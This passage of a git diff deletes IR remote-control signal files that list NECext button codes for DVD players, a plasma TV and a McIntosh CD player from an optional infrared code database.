-command: 09 00 00 00 -# -name: MONO -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0A 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0B 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0C 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0D 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0E 00 00 00 -# -name: POLARITY -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 18 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 19 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1A 00 00 00 -# -name: DISPLAY_INTENSITY -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1A 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1B 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1C 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1D 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mark/Unknown_rc5/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mark/Unknown_rc5/0,-1.ir deleted file mode 100644 index 0628eacad..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mark/Unknown_rc5/0,-1.ir +++ /dev/null @@ -1,248 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: twodigits -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: noff -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: norm -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: mono -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: ps -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 24 00 00 00 -# -name: timer -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: store -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 27 00 00 00 -# -name: hold -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: clocksub -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2A 00 00 00 -# -name: double -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: reveal -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2C 00 00 00 -# -name: update -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: mix -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: stereo -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2F 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: p100 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: av -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: sel -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 -# -name: tx -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: syst -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3D 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mas/Unknown_HSD-303/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mas/Unknown_HSD-303/0,-1.ir deleted file mode 100644 index e364149e2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mas/Unknown_HSD-303/0,-1.ir +++ /dev/null @@ -1,284 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: RESUME -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: V-MODEL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: ITEM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: TRACK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: STEP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 42 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 43 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 47 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 49 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4A 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4B 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4E 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4F 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 53 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 54 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 57 00 00 00 -# -name: PBC -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 58 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 59 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5B 00 00 00 -# -name: KEY_0+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5C 00 00 00 -# -name: GOTO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5D 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mas/Unknown_HSD-400/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mas/Unknown_HSD-400/0,-1.ir deleted file mode 100644 index 551752011..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mas/Unknown_HSD-400/0,-1.ir +++ /dev/null @@ -1,320 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: KEY_ZOOMOUT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: ITEM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: PHOTO-MODE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 41 00 00 00 -# -name: NTSC/PAL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 42 00 00 00 -# -name: PBC -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 43 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 44 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 45 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 46 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 47 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 49 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4A 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4B 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4C 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4E 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4F 00 00 00 -# -name: SLOW-RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 53 00 00 00 -# -name: SLOW-LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 54 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 56 00 00 00 -# -name: KEY_ZOOMIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 57 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 59 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5A 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5C 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5D 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mas/Unknown_RC-0135/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mas/Unknown_RC-0135/6,-1.ir deleted file mode 100644 index 9d31a0132..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mas/Unknown_RC-0135/6,-1.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 00 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 01 00 00 00 -# -name: prog -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 02 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 03 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 04 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 06 00 00 00 -# -name: pause/step -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 07 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 08 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 09 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 0A 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 0B 00 00 00 -# -name: KEY_2ch/multich -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 0C 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 0D 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 0E 00 00 00 -# -name: skipbwd -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 0F 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 10 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 11 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 12 00 00 00 -# -name: a-b -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 13 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 14 00 00 00 -# -name: karaoke -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 15 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 16 00 00 00 -# -name: stop/return -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 17 00 00 00 -# -name: KEY_0+ -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 18 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 19 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 1A 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 1B 00 00 00 -# -name: fastrew -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 1C 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 1D 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 40 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 41 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 42 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 43 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 45 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 46 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 47 00 00 00 -# -name: pbc -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 48 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 49 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 4A 00 00 00 -# -name: KEY_LANGUAGE -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 4B 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 4D 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 4E 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 4F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Maxx/Plasma/32,64.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Maxx/Plasma/32,64.ir deleted file mode 100644 index d0881a935..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Maxx/Plasma/32,64.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 20 40 00 00 -command: 00 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Maxx/Plasma/96,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Maxx/Plasma/96,-1.ir deleted file mode 100644 index 33408156c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Maxx/Plasma/96,-1.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 00 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 03 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 04 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 05 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 07 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 08 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 09 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0A 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0B 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0C 00 00 00 -# -name: 100 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0D 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0F 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 10 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 11 00 00 00 -# -name: MTS -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 12 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 13 00 00 00 -# -name: COMP -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 14 00 00 00 -# -name: PHOTO -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 15 00 00 00 -# -name: PC -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 19 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1C 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1C 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1D 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1D 00 00 00 -# -name: WOW -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 40 00 00 00 -# -name: ADD/ERASE -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 41 00 00 00 -# -name: CH_EDIT -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 42 00 00 00 -# -name: FAVORITE -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 43 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 44 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 44 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 45 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 48 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 48 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 51 00 00 00 -# -name: TV/CATV -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 52 00 00 00 -# -name: SCAN -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 53 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 54 00 00 00 -# -name: TXT -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 55 00 00 00 -# -name: V-CHIP -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 58 00 00 00 -# -name: GREEN -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 59 00 00 00 -# -name: YELLOW -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 5A 00 00 00 -# -name: CCD -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 5B 00 00 00 -# -name: TV/AV -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 5C 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/McIntosh/CD Player/202,149.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/McIntosh/CD Player/202,149.ir deleted file mode 100644 index 35fb81429..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/McIntosh/CD Player/202,149.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1_DISC -type: parsed -protocol: NECext -address: CA 95 00 00 -command: 00 00 00 00 -# -name: 2_DISC -type: parsed -protocol: NECext -address: CA 95 00 00 -command: 01 00 00 00 -# -name: 3_DISC -type: parsed -protocol: NECext -address: CA 95 00 00 -command: 02 00 00 00 -# -name: 4_DISC -type: parsed -protocol: NECext -address: CA 95 00 00 -command: 03 00 00 00 -# -name: 5_DISC -type: parsed -protocol: NECext -address: CA 95 00 00 -command: 04 00 00 00 -# -name: 6_DISC -type: parsed -protocol: NECext -address: CA 95 00 00 -command: 05 00 00 00 -# -name: DATA -type: parsed -protocol: NECext -address: CA 95 00 00 -command: 0E 00 00 00 -# -name: SCAN -type: parsed -protocol: NECext -address: CA 95 00 00 -command: 13 00 00 00 -# -name: SINGLE_DISC -type: parsed -protocol: NECext -address: CA 95 00 00 -command: 1A 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: CA 95 00 00 -command: 40 00 00 00 -# -name: REV_<< -type: parsed -protocol: NECext -address: CA 95 00 00 -command: 41 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: CA 95 00 00 -command: 42 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: CA 95 00 00 -command: 43 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: CA 95 00 00 -command: 44 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: CA 95 00 00 -command: 45 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: CA 95 00 00 -command: 46 00 00 00 -# -name: FF_>> -type: parsed -protocol: NECext -address: CA 95 00 00 -command: 47 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: CA 95 00 00 -command: 48 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: CA 95 00 00 -command: 49 00 00 00 -# -name: REVIEW -type: parsed -protocol: NECext -address: CA 95 00 00 -command: 4A 00 00 00 -# -name: PAUSE_ -type: parsed -protocol: NECext -address: CA 95 00 00 -command: 4B 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: CA 95 00 00 -command: 4D 00 00 00 -# -name: 0_TRACK -type: parsed -protocol: NECext -address: CA 95 00 00 -command: 4E 00 00 00 -# -name: 1_TRACK -type: parsed -protocol: NECext -address: CA 95 00 00 -command: 4F 00 00 00 -# -name: 2_TRACK -type: parsed -protocol: NECext -address: CA 95 00 00 -command: 50 00 00 00 -# -name: 3_TRACK -type: parsed -protocol: NECext -address: CA 95 00 00 -command: 51 00 00 00 -# -name: 4_TRACK -type: parsed -protocol: NECext -address: CA 95 00 00 -command: 52 00 00 00 -# -name: 5_TRACK -type: parsed -protocol: NECext -address: CA 95 00 00 -command: 53 00 00 00 -# -name: 6_TRACK -type: parsed -protocol: NECext -address: CA 95 00 00 -command: 54 00 00 00 -# -name: 7_TRACK -type: parsed -protocol: NECext -address: CA 95 00 00 -command: 